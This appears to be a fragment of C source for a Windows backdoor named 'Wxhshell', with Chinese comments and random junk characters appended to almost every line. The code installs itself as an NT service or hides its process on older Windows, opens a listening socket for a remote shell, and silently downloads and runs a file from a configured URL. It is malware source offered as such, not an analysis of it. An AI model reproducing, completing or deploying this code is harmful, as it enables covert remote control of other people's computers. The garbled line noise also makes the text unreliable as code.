m(A3uQ
FC/m,D50oI
PROCNTQSIP NtQueryInformationProcess; 7*~
rhQ
w\8grEj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cf
J@|Rh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xG\&QE
7bCTR2e\@w
HANDLE hProcess; M[@).4h
PROCESS_BASIC_INFORMATION pbi; (X QgOR#
ld$LG6[PA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Quc9lL
if(NULL == hInst ) return 0; ,8cw jS2E
fG2\p&z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N1zB;-0t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v-2.OS<o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4(|x@:wxm
=-1d m+P
if (!NtQueryInformationProcess) return 0; _:?)2 NV
]aXCi"fMs
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8'@pX<
if(!hProcess) return 0; W2qW`Ujo{
-U'6fx) +
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3[pA:Z+xx
[%
KBc}
CloseHandle(hProcess); DNq=|?qn]
w<.{(1:v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `oXUVr
if(hProcess==NULL) return 0; 9{^:+r
ePP-&V"`"
HMODULE hMod; Xu3o,k
char procName[255]; E<>n0",
unsigned long cbNeeded; v|<Dc8i+
\[%[`m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /}]X3ng
FzXVNUMP
CloseHandle(hProcess); @;"HslU\Q
#]q<fhJhr$
if(strstr(procName,"services")) return 1; // 以服务启动 ^mm:u<Yt
0<Vw0%!
return 0; // 注册表启动 @{j'Pf'
} r>eOq[z
JGHQ_AI
// 主模块 M#IGq
int StartWxhshell(LPSTR lpCmdLine) #K yb9Qg
{ Vdjf
F&q
SOCKET wsl; ac p-4g+j
BOOL val=TRUE; %1 9TJn%J$
int port=0; O|O#T.Tg
struct sockaddr_in door; B!jT@b{
+D&W!m
if(wscfg.ws_autoins) Install(); s,\!@[N
K)`,|q* \
port=atoi(lpCmdLine); X48Q{E+
A?06fo,
if(port<=0) port=wscfg.ws_port; l[fU0;A
1;i[H[hNY
WSADATA data; .-k\Q}D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o;7!$v>uK
LZqx6~]O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GE\@mu *pO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2v0lWO~c7z
door.sin_family = AF_INET; N0,.cd]y`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); d/k&f5
door.sin_port = htons(port); 7N+No.vR.
_Y40a+hk]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y4YA1F
closesocket(wsl); 8B"jvrs
return 1; g|a2z_R
} ~T|?!zML
JM0'V0z
if(listen(wsl,2) == INVALID_SOCKET) { WJ9Jj69
closesocket(wsl); ff**) Xdh
return 1; 7[[XNJP
} EX7gTf#
Wxhshell(wsl); -\:pbR
WSACleanup(); .Vj;[p8
6=3}gd5
return 0; osB[KRT>("
g<-x"$(C&
} f>g>7OsD]
B5hk]=Ud
// 以NT服务方式启动 ,9^wKS!7$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P PZxH}J.
{ L&+XFntR
DWORD status = 0; d}GO(
DWORD specificError = 0xfffffff; ~9#\+[ d_
X!2/cgU7
serviceStatus.dwServiceType = SERVICE_WIN32; CaX&T2(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =P\H}?PF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;,}tXz
serviceStatus.dwWin32ExitCode = 0; $&M"Ji
serviceStatus.dwServiceSpecificExitCode = 0; n a])bBn
serviceStatus.dwCheckPoint = 0; d nWh}!
serviceStatus.dwWaitHint = 0; \/*r45!
,YX[6eZr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N9 3
ZI|T
if (hServiceStatusHandle==0) return; kep.+t[
<\|f;7/
status = GetLastError(); Z#IRNFj
if (status!=NO_ERROR) ,~w)~fMb8
{ n qg=I
serviceStatus.dwCurrentState = SERVICE_STOPPED; *q{/`Z{wy
serviceStatus.dwCheckPoint = 0; g!(j.xe
serviceStatus.dwWaitHint = 0; ZMQSy7
serviceStatus.dwWin32ExitCode = status; m;)[gF
serviceStatus.dwServiceSpecificExitCode = specificError; $/ew'h9q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }@_F( B
return; Ouc=4'$-
} EtK,C~C}8
W!
v8'T
serviceStatus.dwCurrentState = SERVICE_RUNNING; <ppM\$
serviceStatus.dwCheckPoint = 0; BY.'0,H=k
serviceStatus.dwWaitHint = 0; 7 [N1Vr(1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
3#}5dO
} ?u{y[pI6
~,Ck
// 处理NT服务事件,比如:启动、停止 %Ak"d+OH4
VOID WINAPI NTServiceHandler(DWORD fdwControl) X!V@jo9?
{ SxcNr5F
switch(fdwControl) SsiAyQ|Ma
{ Z6\OkD
case SERVICE_CONTROL_STOP: (dv Cejc^p
serviceStatus.dwWin32ExitCode = 0; vG`R.
serviceStatus.dwCurrentState = SERVICE_STOPPED; _ #288`bU
serviceStatus.dwCheckPoint = 0; .YKqYN?y4
serviceStatus.dwWaitHint = 0; C
vfm ,BL
{ w?|gJ*B"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WDNuR#J?
} =t\HtAXn[
return; @2cGx/1#
case SERVICE_CONTROL_PAUSE: w0(A7L:L
serviceStatus.dwCurrentState = SERVICE_PAUSED; xH#R_
break; 9IZ}}x
case SERVICE_CONTROL_CONTINUE: UmZ#Cm
serviceStatus.dwCurrentState = SERVICE_RUNNING; ig3HPlC
break; Vi[* a
case SERVICE_CONTROL_INTERROGATE: :
&>PN,q>
break; zBV7b| j
}; A
q;]al
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ORHs1/L`j
} yPL1(i;
DS0c0lsx
// 标准应用程序主函数 BR*,E~%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z;`ts/?SY]
{ eD5.*O
|{udd~oE&
// 获取操作系统版本 Cg^=&1|
OsIsNt=GetOsVer(); Sa7bl~p\
GetModuleFileName(NULL,ExeFile,MAX_PATH); g0NtM%
s ki'I
// 从命令行安装 B%QvFxZz
if(strpbrk(lpCmdLine,"iI")) Install(); :^]rjy/|+
'M+iw:R__
// 下载执行文件 2&7:JM~#
if(wscfg.ws_downexe) { H`|8x4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kBg,U 8|S
WinExec(wscfg.ws_filenam,SW_HIDE); 97;`R[^J
} ~{lSc/SP|
D#R5G
if(!OsIsNt) { KvW{M
// 如果时win9x,隐藏进程并且设置为注册表启动 C)66^l!x
HideProc(); P Llad\
StartWxhshell(lpCmdLine); Y3^UJe7E
} IGqg,OEAp
else LldZ"%P
if(StartFromService()) s>hNwb/
// 以服务方式启动 *\><MXx
StartServiceCtrlDispatcher(DispatchTable); 6wK>SW)#&j
else mDZ/Kp{
// 普通方式启动 L,6v!9@
StartWxhshell(lpCmdLine); Hy}oSy26
Hz39v44
return 0; AlF"1X02
}